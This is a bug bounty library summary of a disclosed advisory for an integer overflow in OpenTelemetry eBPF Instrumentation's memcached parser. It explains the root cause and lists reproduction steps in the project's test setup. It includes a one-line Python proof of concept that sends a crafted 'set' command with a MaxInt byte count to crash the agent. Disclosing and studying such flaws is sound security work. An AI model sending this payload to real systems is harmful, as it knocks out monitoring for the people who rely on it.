# OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI

Integer overflow in OBI's memcached parser lets a crafted `set` with MaxInt bytes wrap payloadLen negative, panicking LargeBufferReader.Peek and crashing OBI.

- Payout: Research
- Severity: high
- Program: OpenTelemetry eBPF Instrumentation
- Found by: MrAlias
- Disclosed: 2026-05-18
- CVE: CVE-2026-45686
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-43g7-cwr8-q3jh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-43g7-cwr8-q3jh
- Tags: area:devices domain:network impact:dos kind:research platform:ghsa sev:high tech:go technique:source-review vuln:dos vuln:memory-corruption

**Target:** memcached text protocol parser in OBI eBPF instrumentation
**Root cause:** memcachedCommandBytesField accepts any non-negative int for `<bytes>` with no upper bound; memcachedConsumeStoragePayload adds the 2-byte delimiter length, overflowing signed int to a negative payloadLen that Peek slices with.
**Steps:**
1. Start the repo memcached OATS environment via `docker compose -f internal/test/oats/memcached/docker-compose-include-base.yml -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml up --build`
2. Verify with `curl http://127.0.0.1:8080/memcached`
3. From testserver container send `set crash 0 0 9223372036854775807\r\nvalue\r\n` to memcached:11211 via python socket (use 2147483647 on 32-bit)
4. OBI parses header, accepts bytes as int, computes `payloadLen = bytesField + len("\r\n")` which overflows negative
5. Negative payloadLen reaches `LargeBufferReader.Peek`, slice with negative bound panics
6. Confirm crash via `docker compose ... ps autoinstrumenter` and `logs autoinstrumenter`
**How found:** Code review of the memcached parser: noticed `strconv.Atoi` result only checked for `size < 0` with no upper bound, then traced the subsequent `bytesField + len(delim)` addition and the unchecked negative `n` in `LargeBufferReader.Peek`.
**Exploitation:** Attacker who can influence memcached traffic observed by OBI (e.g. via an instrumented service) sends a storage command with `<bytes>` = math.MaxInt; OBI's parser overflows and panics, killing telemetry collection until restart. No auth or code execution against OBI required.
**Insight:** When auditing protocol parsers that compute `length + delimiter`, check whether the length field has an upper bound and whether downstream readers reject negative lengths before slicing — signed int overflow on MaxInt is a reliable panic primitive in Go.

## Proof of concept (copied exactly from the original report)

**Crafted memcached set with MaxInt bytes**

```
python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'
```